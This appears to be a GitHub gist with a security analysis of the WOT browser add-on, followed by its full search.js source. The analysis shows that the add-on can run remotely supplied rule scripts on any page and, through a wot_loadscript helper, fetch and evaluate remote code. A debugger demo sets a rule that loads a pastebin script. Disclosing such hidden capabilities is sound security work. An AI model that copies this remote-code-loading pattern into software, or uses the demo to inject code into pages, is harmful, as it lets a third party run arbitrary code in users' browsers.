Skip to content

Instantly share code, notes, and snippets.

@alma4rebi
Forked from Rob--W/README.md
Created November 14, 2016 21:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save alma4rebi/3bf6f8ff5e6673b524f2ad82036e6570 to your computer and use it in GitHub Desktop.
Save alma4rebi/3bf6f8ff5e6673b524f2ad82036e6570 to your computer and use it in GitHub Desktop.
Analysis of WOT 20151208

Timeline

Subject

Summary

  • The WOT add-on can execute arbitrary code on any page, including privileged browser pages.
  • Impact and severity: Critical. If WOT wants to, they can do anything ranging from stealing banking credentials to installing malware on the user's computer.
  • At the time of analysis, this functionality was not abused.

Evidence

Entry point of remote code execution

  1. content/search.js:1144 addscript is a function that takes a string and executes it in a "sandbox", with the same principal as the content parameter.
  2. content/search.js:913 calls this.addscript if there is the rule variable has a property "script".

Issue A: rule.script originates from an external source

At the time of analysis, I found no rules with a script attribute. This was checked by enumerating all values of the this.rules dictionary in matchrule (content/search.js:774) and checking whether the "script" key existed. The this.rules dictionary contains several keys, e.g. "aolsearch". When I looked through the source code of the whole add-on package, I did not find any reference to "aolsearch" - this suggests that the rules are either obfuscated or fetched from an external source. Considering that the add-on was updated half a year ago, the latter is much more likely, i.e. the rules originate from an external server.

To simulate what happens when the script attribute is set, I modified the add-on to unconditionally add a rule.script attribute that prints a message. I confirmed that the script ran (in a "sandbox").

Issue B: The remote script has access to the page DOM

When I used console.log(document.URL), the current page URL is printed. This proves that the script has full access to the DOM of any web page.

Issue C: The sandbox contains a method to load a remote script

content/search.js:114 addScript does not only run scripts, it also adds some methods. Including a method "wot_loadscript". This method is defined as "loadscript" in content/search.js:978, and fetches and runs a remote script.

Issue D: Obfuscation

The set of rules is saved in storage as "search", via a method called innocently "setchar". It is not obvious at all that these keys have such dangerous capabilities.

The functionality was introduced 7 years ago, and is not present in the current Chrome extension.

Demo: Fetch and execute a remote script

I set up a remote script at https://pastebin.mozilla.org/8924225:

console.log("remote read from " + document.URL);

and then followed the following steps:

  1. Enabled browser debugging via about:debugging
  2. Open the Browser Toolbox
  3. Install WOT and restart browser
  4. Visit Google and searched for "example"
  5. Go to the Browser Toolbox, Debugger and put a breakpoint at line 829 in content/search.js of WOT.
  6. The breakpoint is hit within a split second because WOT periodically polls the page for content.
  7. Assign rule.script = 'console.log("This is a rule");wot_loadscript("https://pastebin.mozilla.org/?dl=8924225");';
  8. Continue breakpoint.

The console shows both messages, proving that rule.script is executed, and also that the script can execute more code via wot_loadscript.

Screenshot of debugger

/*
search.js
Copyright © 2006-2012 WOT Services Oy <info@mywot.com>
This file is part of WOT.
WOT is free software: you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
WOT is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public
License for more details.
You should have received a copy of the GNU General Public License
along with WOT. If not, see <http://www.gnu.org/licenses/>.
*/
var wot_search =
{
attrstr: [
WOT_SEARCH_DISPLAY,
WOT_SEARCH_URL,
WOT_SEARCH_IGN,
WOT_SEARCH_URLIGN,
WOT_SEARCH_PRESTYLE,
WOT_SEARCH_SCRIPT,
WOT_SEARCH_STYLE,
WOT_SEARCH_NINJA
],
attrint: [
WOT_SEARCH_DYNAMIC,
WOT_SEARCH_SEARCHLEVEL
],
load_delayed: function()
{
try {
if (this.rules) {
return;
}
this.attribute = wot_crypto.getrandomid();
this.processed = wot_crypto.getrandomid();
this.prestyleid = wot_crypto.getrandomid();
this.rules = {};
/* Prefs */
this.sync();
this.pbi = wot_prefs.pref.QueryInterface(
Components.interfaces.nsIPrefBranch2);
this.pbi.addObserver(WOT_PREF + WOT_SEARCH, this, false);
} catch (e) {
dump("wot_search.load: failed with " + e + "\n");
}
},
unload: function()
{
try {
if (this.pbi) {
this.pbi.removeObserver(WOT_PREF + WOT_SEARCH, this);
this.pbi = null;
}
} catch (e) {
dump("wot_search.unload: failed with " + e + "\n");
}
},
/* Parsing */
setint: function(entry, value)
{
return this.setchar(entry, value, true);
},
setchar: function(entry, value, is_number)
{
try {
var sr = wot_storage.get("search", {});
if (value !== null && value !== undefined) {
sr[entry] = value;
} else {
delete sr[entry];
}
wot_storage.set("search", sr);
return true;
} catch (e) {
dump("wot_search.setchar: failed with " + e + "\n");
}
return false;
},
getrule: function (entry, def_value) {
// extend entry name to fully qualified (prepended with "search.")
var fullentry = entry.indexOf("search") == 0 ? entry : "search." + entry,
val = this._searchrules[fullentry];
return val === undefined ? def_value : val;
},
parsecontentrules: function(base, child)
{
try {
var attr = 0, value = 0;
var node = child.firstChild;
while (node) {
if (node.nodeName == WOT_SEARCH_CONTENT_ATTR) {
/* Attribute rule */
var key = base + WOT_SEARCH_CONTENT_ATTR + attr + ".";
/* Flags (optional) */
this.setchar(key + WOT_SEARCH_CONTENT_FLAGS,
node.getAttribute(WOT_SEARCH_CONTENT_FLAGS));
/* Attribute name and regexp */
if (this.setchar(key + WOT_SEARCH_CONTENT_NAME,
node.getAttribute(WOT_SEARCH_CONTENT_NAME)) &&
this.setchar(key + WOT_SEARCH_CONTENT_RE,
node.getAttribute(WOT_SEARCH_CONTENT_RE))) {
++attr;
} else {
// wot_prefs.deleteBranch(key);
this.setchar(key + WOT_SEARCH_CONTENT_FLAGS, null);
this.setchar(key + WOT_SEARCH_CONTENT_NAME, null);
this.setchar(key + WOT_SEARCH_CONTENT_RE, null);
}
} else if (node.nodeName == WOT_SEARCH_CONTENT_VALUE) {
/* Value rule */
var key = base + WOT_SEARCH_CONTENT_VALUE + value + ".";
/* Flags (optional) */
this.setchar(key + WOT_SEARCH_CONTENT_FLAGS,
node.getAttribute(WOT_SEARCH_CONTENT_FLAGS));
/* Regexp */
if (this.setchar(key + WOT_SEARCH_CONTENT_RE,
node.getAttribute(WOT_SEARCH_CONTENT_RE))) {
++value;
} else {
// wot_prefs.deleteBranch(key);
this.setchar(key + WOT_SEARCH_CONTENT_FLAGS, null);
this.setchar(key + WOT_SEARCH_CONTENT_RE, null);
}
}
node = node.nextSibling;
}
} catch (e) {
dump("wot_search.parsecontentrules: failed with " + e + "\n");
}
},
parsematchrule: function(base, child, match)
{
try {
var entry = base + child.nodeName + match + ".";
/* Condition */
var cond = child.getAttribute(WOT_SEARCH_MATCH_COND);
this.setchar(entry + WOT_SEARCH_MATCH_COND, cond);
if (cond) {
var index = 0;
var node = child.firstChild;
/* Subrules */
while (node) {
if (node.nodeName == WOT_SEARCH_MATCH) {
this.parsematchrule(entry, node, index++);
}
node = node.nextSibling;
}
return;
}
/* Document (optional) */
this.setchar(entry + WOT_SEARCH_MATCH_DOC,
child.getAttribute(WOT_SEARCH_MATCH_DOC));
/* Element */
if (!this.setchar(entry + WOT_SEARCH_MATCH_ELEM,
child.getAttribute(WOT_SEARCH_MATCH_ELEM))) {
return;
}
/* Content rules */
this.parsecontentrules(entry, child);
} catch (e) {
dump("wot_search.parsematchrule: failed with " + e + "\n");
}
},
parseprerule: function(base, child, pre)
{
try {
var entry = base + WOT_SEARCH_PRE + pre + ".";
if (this.setchar(entry + WOT_SEARCH_PRE_RE,
child.getAttribute(WOT_SEARCH_PRE_RE)) &&
this.setint(entry + WOT_SEARCH_PRE_MATCH,
child.getAttribute(WOT_SEARCH_PRE_MATCH))) {
return true;
} else {
// wot_prefs.deleteBranch(entry);
this.setchar(entry + WOT_SEARCH_PRE_RE, null);
this.setchar(entry + WOT_SEARCH_PRE_MATCH, null);
}
} catch (e) {
dump("wot_search.parseprerule: failed with " + e + "\n");
}
return false;
},
parserule: function(node)
{
try {
var name = node.getAttribute(WOT_SERVICE_XML_UPDATE_SEARCH_NAME);
if (!name) {
return;
}
var base = WOT_SEARCH + "." + name + ".";
var enabled = wot_prefs.getBool(base + WOT_SEARCH_ENABLED, true);
wot_prefs.deleteBranch(base);
/* Don't forget the enabled status */
if (!enabled) {
wot_prefs.setBool(base + WOT_SEARCH_ENABLED, enabled);
}
var url = node.getAttribute(WOT_SEARCH_URL);
var display = node.getAttribute(WOT_SEARCH_DISPLAY);
if (!url || !display) {
return;
}
var remove = node.getAttribute(WOT_SEARCH_REMOVE);
if (remove && remove.toLowerCase() == "true") {
return;
}
for (var j = 0; j < this.attrstr.length; ++j) {
this.setchar(base + this.attrstr[j],
node.getAttribute(this.attrstr[j]));
}
for (var j = 0; j < this.attrint.length; ++j) {
this.setint(base + this.attrint[j],
node.getAttribute(this.attrint[j]));
}
var index = [];
var child = node.firstChild;
while (child) {
var elem = child.nodeName;
if (elem) {
index[elem] = index[elem] || 0;
if (elem == WOT_SEARCH_PRE) {
this.parseprerule(base, child, index[elem]++);
} else if (elem == WOT_SEARCH_MATCH ||
elem == WOT_SEARCH_POPUP) {
this.parsematchrule(base, child, index[elem]++);
} else if (elem == WOT_SEARCH_TARGET) {
this.parsecontentrules(base + WOT_SEARCH_TARGET + ".",
child);
}
}
child = child.nextSibling;
}
} catch (e) {
dump("wot_search.parserule: failed with " + e + "\n");
}
},
parse: function(search)
{
try {
this.loading = true;
wot_storage.set("search", {}); // clear stored search rules and start from scratch
for (var i = 0; i < search.length; ++i) {
this.parserule(search[i]);
}
wot_storage.flush(true);
this.sync();
} catch (e) {
dump("wot_search.parse: failed with " + e + "\n");
}
this.loading = false;
},
/* Loading */
observe: function(subject, topic, state)
{
try {
if (!this.loading && topic == "nsPref:changed") {
this.sync();
}
} catch (e) {
dump("wot_search.observe: failed with " + e + "\n");
}
},
loadruletree: function(node, pref, next)
{
try {
/* 1 = array, 2 = index, 4 = next */
var m = next.match(RegExp("^([^\d\.]+)(\\d+)(\.(.+))?"));
if (m && m[1] && m[2] != null && m[4]) {
var name = m[1], index = Number(m[2]);
node[name] = node[name] || [];
node[name][index] =
this.loadruletree(node[name][index] || {}, pref, m[4]);
} else {
node[next] = this.getrule(pref, "");
}
return node;
} catch (e) {
dump("wot_search.loadmatch: failed with " + e + "\n");
}
return null;
},
loadmatchrule: function(name, attr, pref, index, next)
{
try {
this.rules[name][attr] = this.rules[name][attr] || {
match: [],
condition: "and"
};
this.rules[name][attr].match[index] =
this.loadruletree(this.rules[name][attr].match[index] || {},
pref, next);
} catch (e) {
dump("wot_search.loadmatchrule: failed with " + e + "\n");
}
},
loadprerule: function(name, pref, index, attr)
{
try {
this.rules[name].pre = this.rules[name].pre || [];
this.rules[name].pre[index] = this.rules[name].pre[index] || {};
if (attr == WOT_SEARCH_PRE_MATCH) {
this.rules[name].pre[index][attr] = this.getrule(pref, 0);
} else if (attr == WOT_SEARCH_PRE_RE) {
this.rules[name].pre[index][attr] = this.getrule(pref, "");
}
} catch (e) {
dump("wot_search.loadprerule: failed with " + e + "\n");
}
},
loadrule: function(rule)
{
try {
/* 1 = name, 4 = attribute, 5 = attribute index, 7 = next */
var m = rule.match(/^([^\.]+)(\.(([^\.\d]+)(\d+)?)(\.(.+))?)?/);
if (!m) {
return;
}
var name = m[1], attr = m[4], index = Number(m[5]), next = m[7];
if (!name || !attr) {
return;
}
if (!this.rules[name]) {
this.rules[name] = {
rule: name,
enabled: true
};
}
var pref = WOT_SEARCH + "." + rule;
if (m[5] != null && next) {
if (attr == WOT_SEARCH_PRE) {
this.loadprerule(name, pref, index, next);
} else if (attr == WOT_SEARCH_MATCH ||
attr == WOT_SEARCH_POPUP) {
this.loadmatchrule(name, attr, pref, index, next);
}
} else if (attr == WOT_SEARCH_TARGET) {
this.rules[name].target =
this.loadruletree(this.rules[name].target || {},
pref, next);
} else if (this.attrint.indexOf(attr) >= 0) {
this.rules[name][attr] = this.getrule(pref, 0);
} else if (this.attrstr.indexOf(attr) >= 0) {
this.rules[name][attr] = this.getrule(pref, "");
} else {
this.rules[name][attr] = this.getrule(pref, true);
}
} catch (e) {
wot_tools.wdump("wot_search.loadrule: failed with " + e);
}
},
sync: function()
{
try {
this.rules = {};
this._searchrules = wot_storage.get("search", {});
var keyword = "search.",
kw_len = keyword.length;
for (var i in this._searchrules) {
if (!this._searchrules.hasOwnProperty(i)) continue;
if (i.indexOf(keyword) == 0) { // remove prepending "search." keyword
i = i.slice(kw_len);
}
this.loadrule(i);
}
} catch (e) {
wot_tools.wdump("wot_search.sync: failed with " + e);
}
},
/* Processing */
domcontentloaded: function(event)
{
try { // Workaround to resolve "TypeError: can't access dead object" at start of the browser
if (!event.originalTarget) {
wot_tools.wdump("event.originalTarget is undefined");
return;
}
} catch (e) {
return; } // do nothing
try {
event.originalTarget.wot_domloaded = Date.now();
wot_search.watch(event.originalTarget);
} catch (e) {
wot_tools.wdump("wot_search.domcontentloaded: failed with " + e);
}
},
pageshow: function(event)
{
try { // Workaround to resolve "TypeError: can't access dead object" at start of the browser
if (!event.originalTarget) {
wot_tools.wdump("event.originalTarget is undefined");
return;
}
} catch (e) {
return; } // do nothing
if (event.originalTarget) {
var wot_domloaded = event.originalTarget.wot_domloaded || 0;
// check when the last domcontentloaded event was raised,
// and if it was long ago, force to watch the DOM again (workaround for caching issue #74)
if (Date.now() - wot_domloaded > 800) {
wot_search.watch(event.originalTarget);
}
}
},
watch: function(content)
{
try {
var rule = wot_search.process(content);
if (rule) {
if (!rule.dynamic && !content.defaultView.frameElement) {
return;
}
} else if (!wot_prefs.prefetch) {
return;
}
var mo = new MutationObserver(function(mutations, observer) {
observer.disconnect();
delete(observer);
window.setTimeout(function() {
wot_search.watch(content);
}, 500);
});
mo.observe(content, {
attributes: true, childList: true, subtree: true
});
} catch (e) {
wot_tools.wdump("wot_search.watch: failed with " + e);
}
},
processrule: function(link, rule)
{
try {
var url = link.href;
var target = null;
/* Preprocess the link */
if (rule.pre) {
for (var i = 0; i < rule.pre.length; ++i) {
if (!rule.pre[i].re) {
continue;
}
var m = new RegExp(rule.pre[i].re).exec(url);
if (m && m[rule.pre[i].match]) {
url = decodeURIComponent(m[rule.pre[i].match]);
target = wot_idn.utftoidn(wot_url.gethostname(url));
break;
}
}
}
/* See if ignored */
if (rule.ign && new RegExp(rule.ign).test(url)) {
return null;
}
/* Find target hostname */
if (!target) {
target = wot_idn.utftoidn(wot_url.gethostname(url));
}
/* Match by element if we have a target rule */
if (target && rule.target &&
!this.matchelement(rule.target, link)) {
return null;
}
return target;
} catch (e) {
dump("wot_search.processrule: failed with " + e + "\n");
}
return null;
},
is_ninja: function(rule)
{
return rule.ninja && wot_prefs.ninja_donuts;
},
addrating: function(target, content, link, rule)
{
try {
// ninja - is experimental feature to make donuts on the SERP hidden
var is_ninja = this.is_ninja(rule);
var elem = content.createElement("div");
if (elem) {
var link_parent = link.parentNode;
elem.setAttribute(this.attribute, target);
if(is_ninja) elem.setAttribute("class", "invisible");
elem.setAttribute("style", "cursor: pointer; " +
"width: 16px; " +
"height: 16px;" +
"display: inline-block;");
elem.appendChild(document.createTextNode("\u00A0"));
elem.addEventListener("click", this.onclick, false);
if(is_ninja) {
var ninja_timer = null,
visibility = null;
// clojure
var set_visibility = function set_visibility() {
elem.setAttribute("class", visibility);
};
var do_ninja = function do_ninja(event) {
// It needs to be called as clojure to access "elem"
if (ninja_timer) clearTimeout(ninja_timer);
if(event.type == "mouseout") {
visibility = "invisible";
// delay, to prevent premature hiding causes by bubled events from element's children
ninja_timer = setTimeout(set_visibility, 100);
return;
} else {
visibility = "visible";
}
set_visibility();
};
// use parent to avoid hiding donut when cursor moves to it but goes out of the link
link_parent.addEventListener("mouseover", do_ninja, false);
link_parent.addEventListener("mouseout", do_ninja, false);
}
if (link.nextSibling) {
link.parentNode.insertBefore(elem, link.nextSibling);
} else {
link.parentNode.appendChild(elem);
}
}
} catch (e) {
dump("wot_search.addrating: failed with " + e + "\n");
}
},
matchregexp: function(spec, data)
{
try {
/* Custom flags:
- n = negative match
*/
var flags = spec.flags || "";
var rv = new RegExp(spec.re, flags.replace("n", "")).test(data);
return (flags.indexOf("n") < 0) ? rv : !rv;
} catch (e) {
dump("wot_search.matchregexp: failed with " + e + "\n");
}
return false;
},
matchelement: function(match, elem)
{
var i;
try {
/* Match by attributes */
if (match.attribute && match.attribute.length) {
for (i = 0; i < match.attribute.length; ++i) {
if (!match.attribute[i].name || !match.attribute[i].re) {
continue;
}
if (!elem.hasAttribute(match.attribute[i].name) ||
!this.matchregexp(match.attribute[i],
elem.getAttribute(match.attribute[i].name))) {
return false;
}
}
}
/* Match by content */
if (match.value && match.value.length) {
if (!elem.hasChildNodes()) {
return false;
}
for (i = 0; i < match.value.length; ++i) {
if (!match.value[i].re) {
continue;
}
if (!this.matchregexp(match.value[i], elem.innerHTML)) {
return false;
}
}
}
return true;
} catch (e) {
dump("wot_search.matchelement: failed with " + e + "\n");
}
return false;
},
findmatchingelement: function(match, content)
{
try {
var set = [];
if (match.element == "$frame") {
set.push(content.defaultView.frameElement);
} else {
var docelem = content;
if (match.document == "$parent" &&
content.defaultView.parent) {
docelem = content.defaultView.parent.document;
}
if (!docelem) {
return null;
}
if (/^#/.test(match.element)) {
set.push(docelem.getElementById(
match.element.replace(/^#/, "")));
} else {
set = docelem.getElementsByTagName(match.element);
}
}
if (set && set.length) {
/* One matching element is enough */
for (var i = 0; i < set.length; ++i) {
if (set[i] && this.matchelement(match, set[i])) {
return set[i];
}
}
}
} catch (e) {
dump("wot_search.findmatchingelement: failed with " + e + "\n");
}
return null;
},
matchcontent: function(match, content)
{
try {
/* Process conditional rules */
if (match.condition && match.match) {
for (var i = 0; i < match.match.length; ++i) {
var rv = this.matchcontent(match.match[i], content);
if (match.condition == "or" && rv) {
return true;
} else if (match.condition == "and" && !rv) {
return false;
}
}
return (match.match.length == 0 || match.condition == "and");
}
/* See if there's a matching element */
if (match.element &&
this.findmatchingelement(match, content)) {
return true;
}
} catch (e) {
dump("wot_search.matchcontent: failed with " + e + "\n");
}
return false;
},
matchrule: function(content, url)
{
try {
var rule = null;
for (var i in this.rules) {
if (!this.rules[i].enabled || !this.rules[i].url) {
continue;
}
/* Match by URL */
if (!RegExp(this.rules[i].url).test(url) ||
(this.rules[i].urlign &&
RegExp(this.rules[i].urlign).test(url))) {
continue;
}
rule = this.rules[i];
break;
}
return rule;
} catch (e) {
dump("wot_search.matchrule: failed with " + e + "\n");
}
return null;
},
process: function(content)
{
try {
if (!wot_util.isenabled() || !content || !content.links) {
return null;
}
var url = null;
if (content.location && content.location.href) {
url = content.location.href;
}
if (!url) {
return null;
}
/* Using about:blank in a frame isn't cool, btw */
if (url == "about:blank" &&
content.defaultView.frameElement &&
content.defaultView.frameElement.baseURI) {
url = content.defaultView.frameElement.baseURI;
}
/* URL match */
var rule = this.matchrule(content, url);
if (!rule && !wot_prefs.prefetch) {
return null; /* If in prefetch mode, continue anyway */
}
var contentmatch = true;
if (rule && rule.match) {
/* Content match */
contentmatch = this.matchcontent(rule.match, content);
if (!contentmatch && !wot_prefs.prefetch) {
/* Return the rule anyway so we can keep an eye on content
changes */
return rule;
}
}
var haspopup = false;
if (rule && contentmatch) {
if (rule.popup && rule.popup.match &&
rule.popup.match.length) {
/* Add only only to the specified element */
var elem = this.findmatchingelement(rule.popup.match[0],
content);
if (elem) {
haspopup = wot_popup.addpopup(content, elem);
}
} else {
/* Just add to the document */
haspopup = wot_popup.addpopup(content);
}
}
/* Walk through each link and fetch ratings */
var cache = {};
var fetch = {};
var offline = wot_browser.isoffline();
for (var i = 0; i < content.links.length; ++i) {
var link = content.links[i];
if (link.isContentEditable || link.getAttribute(this.processed) ||
!link.parentNode) {
continue; /* Process each link only once */
}
var target = null;
var showrating = false;
if (rule && contentmatch) {
target = this.processrule(link, rule);
}
if (target) {
showrating = true;
} else if (wot_prefs.prefetch) {
/* Prefetch ratings for all links, not only if ratings are
shown */
target = wot_idn.utftoidn(
wot_url.gethostname(link.href));
}
if (!target) {
continue;
}
if (wot_cache.iscached(target) &&
wot_cache.get(target, "status") != WOT_QUERY_RETRY) {
cache[target] = target;
} else {
fetch[target] = target;
}
if (showrating) {
this.addrating(target, content, link, rule);
}
link.setAttribute(this.processed, true);
}
if (rule && contentmatch) {
if (rule.script) {
this.addscript(content, rule.script);
}
if(this.is_ninja(rule)) {
/* Visibility and CSS transitions for Ninja-donuts */
var ninja_style =
"div[" + this.attribute + "] {" +
"-moz-transition: opacity 0.1s cubic-bezier(0.25,0.1,0.25,1) 0.5s;" +
"} " +
"div[" + this.attribute + "].visible {" +
"-moz-transition: opacity 0s;" +
"opacity: 1.0;" +
"} " +
"div[" + this.attribute + "].invisible {" +
"opacity: 0.0;" +
"}";
this.addstyle(content, ninja_style, "wotninja");
}
if (rule.prestyle) {
this.addstyle(content, this.formatcss(rule.prestyle),
this.prestyleid);
}
/* Add styles for cached ratings */
this.update(rule, content, cache, offline);
}
/* Load missing ratings */
if (!offline) {
wot_api_link.send(rule, content, fetch);
}
return rule;
} catch (e) {
dump("wot_search.process: failed with " + e + "\n");
}
return null;
},
update: function(rule, content, cache, last)
{
try {
var style = "";
for (var i in cache) {
if (wot_cache.iscached(i)) {
var s = wot_cache.get(i, "status");
if (s == WOT_QUERY_OK || s == WOT_QUERY_LINK) {
style += this.getcss(rule, i);
}
}
}
if (style.length > 0) {
this.addstyle(content, style);
}
} catch (e) {
dump("wot_search.update: failed with " + e + "\n");
}
},
sandboxapi: {
loadscript: function(sandbox, url)
{
try {
if (!sandbox || typeof(url) != "string" ||
!/^https?\:\/\//.test(url)) {
return;
}
var request = new XMLHttpRequest();
request.open("GET", url);
new wot_cookie_remover(request);
request.onload = function() {
wot_search.sandboxapi.lastloadedscript = {
url: url,
code: request.responseText,
status: request.status,
time: Date.now()
};
if (request.status != 200 || !request.responseText ||
!request.responseText.length) {
return;
}
try {
Components.utils.evalInSandbox(request.responseText,
sandbox);
} catch (e) {
dump("wot_search.sandboxapi.loadscript: evalInSandbox " +
"failed with " + e + "\n");
}
};
request.send(null);
} catch (e) {
dump("wot_search.sandboxapi.loadscript: failed with " + e + "\n");
}
},
getlastscript: function(sandbox)
{
return this.lastloadedscript;
},
getratings: function(sandbox, url)
{
try {
if (typeof(url) != "string") {
return null;
}
var target = wot_idn.utftoidn(wot_url.gethostname(url));
if (wot_cache.isok(target)) {
var rv = {
target: target
};
for (var i = 0, a = 0; i < WOT_COMPONENTS.length; ++i) {
a = WOT_COMPONENTS[i];
rv["reputation_" + a] =
wot_cache.get(target, "reputation_" + a);
rv["confidence_" + a] =
wot_cache.get(target, "confidence_" + a);
rv["testimony_" + a] =
wot_cache.get(target, "testimony_" + a);
rv["excluded_" + a] =
wot_cache.get(target, "excluded_" + a);
}
return rv;
}
} catch (e) {
dump("wot_search.sandboxapi.getratings: failed with " + e +
"\n");
}
return null;
},
getpreference: function(sandbox, name)
{
try {
if (typeof(name) != "string") {
return null;
}
var type = wot_prefs.pref.getPrefType(WOT_PREF + name);
switch (type) {
case wot_prefs.pref.PREF_STRING:
return wot_prefs.getChar(name);
case wot_prefs.pref.PREF_INT:
return wot_prefs.getInt(name);
case wot_prefs.pref.PREF_BOOL:
return wot_prefs.getBool(name);
}
} catch (e) {
dump("wot_search.sandboxapi.getpreference: failed with " + e +
"\n");
}
return null;
},
setpreference: function(sandbox, name, value)
{
try {
if (typeof(name) != "string") {
return false;
}
var rv = false;
switch (typeof(value)) {
case "string":
rv = wot_prefs.setChar(name, value);
break;
case "number":
rv = wot_prefs.setInt(name, value.toFixed());
break;
case "boolean":
rv = wot_prefs.setBool(name, value);
break;
}
if (rv) {
wot_prefs.flush();
return rv;
}
} catch (e) {
dump("wot_search.sandboxapi.setpreference: failed with " + e +
"\n");
}
return false;
},
getapiparams: function(sandbox)
{
try {
return wot_url.getapiparams();
} catch (e) {
dump("wot_serach.sandboxapi.getapiparams: failed with " + e +
"\n");
}
}
},
getsandboxfunc: function(sandbox, name, obj)
{
obj = obj || wot_search.sandboxapi;
return function() {
var args = [ sandbox ];
for (var i = 0; i < arguments.length; ++i) {
args.push(arguments[i]);
}
return obj[name].apply(obj, args);
};
},
addscript: function(content, code)
{
try {
if (!wot_prefs.search_scripts || !code.length) {
return;
}
var sandbox = content.wotsandbox;
if (!sandbox) {
var wnd = new XPCNativeWrapper(content.defaultView);
var sandbox = new Components.utils.Sandbox(wnd, {
sandboxPrototype: wnd
});
sandbox.window = wnd;
sandbox.document = sandbox.window.document;
sandbox.wot_loadscript =
this.getsandboxfunc(sandbox, "loadscript");
sandbox.wot_getlastscript =
this.getsandboxfunc(sandbox, "getlastscript");
sandbox.wot_getratings =
this.getsandboxfunc(sandbox, "getratings");
sandbox.wot_getpreference =
this.getsandboxfunc(sandbox, "getpreference");
sandbox.wot_setpreference =
this.getsandboxfunc(sandbox, "setpreference");
sandbox.wot_getapiparams =
this.getsandboxfunc(sandbox, "getapiparams");
content.wotsandbox = sandbox;
}
try {
Components.utils.evalInSandbox(code, sandbox);
} catch (e) {
dump("wot_search.addscript: evalInSandbox failed with " +
e + "\n");
}
} catch (e) {
dump("wot_search.addscript: failed with " + e + "\n");
}
},
addstyle: function(content, css, id)
{
try {
if (id && content.getElementById(id)) {
return;
}
var style = content.createElement("style");
style.setAttribute("type", "text/css");
if (id) {
style.setAttribute("id", id);
}
var text_node = content.createTextNode(css);
style.appendChild(text_node);
var head = content.getElementsByTagName("head");
if (head && head.length > 0) {
head[0].appendChild(style);
}
} catch (e) {
dump("wot_search.addstyle: failed with " + e + "\n");
}
},
formatcss: function(css)
{
return css.replace(/ATTR/g, this.attribute);
},
getreputation: function(name)
{
try {
var status = wot_cache.get(name, "status");
if (status != WOT_QUERY_OK && status != WOT_QUERY_LINK) {
return -1;
}
if (wot_cache.get(name, "excluded_0")) {
return -2;
}
var r = wot_cache.get(name, "reputation_0");
// respect "Parental control" setting and use the worst reputation between app0 and app4
if (wot_prefs.warning_level_4 > 0) {
var r_app4 = wot_cache.get(name, "reputation_4");
if (r_app4 >= 0 && r_app4 < r) {
r = r_app4;
}
}
return r;
} catch (e) {
dump("wot_search.getreputation: failed with " + e + "\n");
}
return -1;
},
getcss: function(rule, name)
{
try {
if (!rule.style) {
return "";
}
var r = this.getreputation(name);
if ((wot_prefs.use_search_level && r >= wot_prefs.search_level) ||
(rule.searchlevel != null && r >= rule.searchlevel)) {
return "";
}
var css = this.formatcss(rule.style);
css = css.replace(/NAME/g, name);
return css.replace(/IMAGE/g, wot_ui.geticonurl(r, 16, true));
} catch (e) {
dump("wot_search.getcss: failed with " + e + "\n");
}
return "";
},
onclick: function(event)
{
try {
var target = event.originalTarget.getAttribute(wot_search.attribute);
if (target) {
wot_browser.openscorecard(target, null, WOT_URL_POPUPDONUTS);
event.stopPropagation();
}
} catch (e) {
dump("wot_search.onclick: failed with " + e + "\n");
}
}
};
wot_modules.push({ name: "wot_search", obj: wot_search });
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment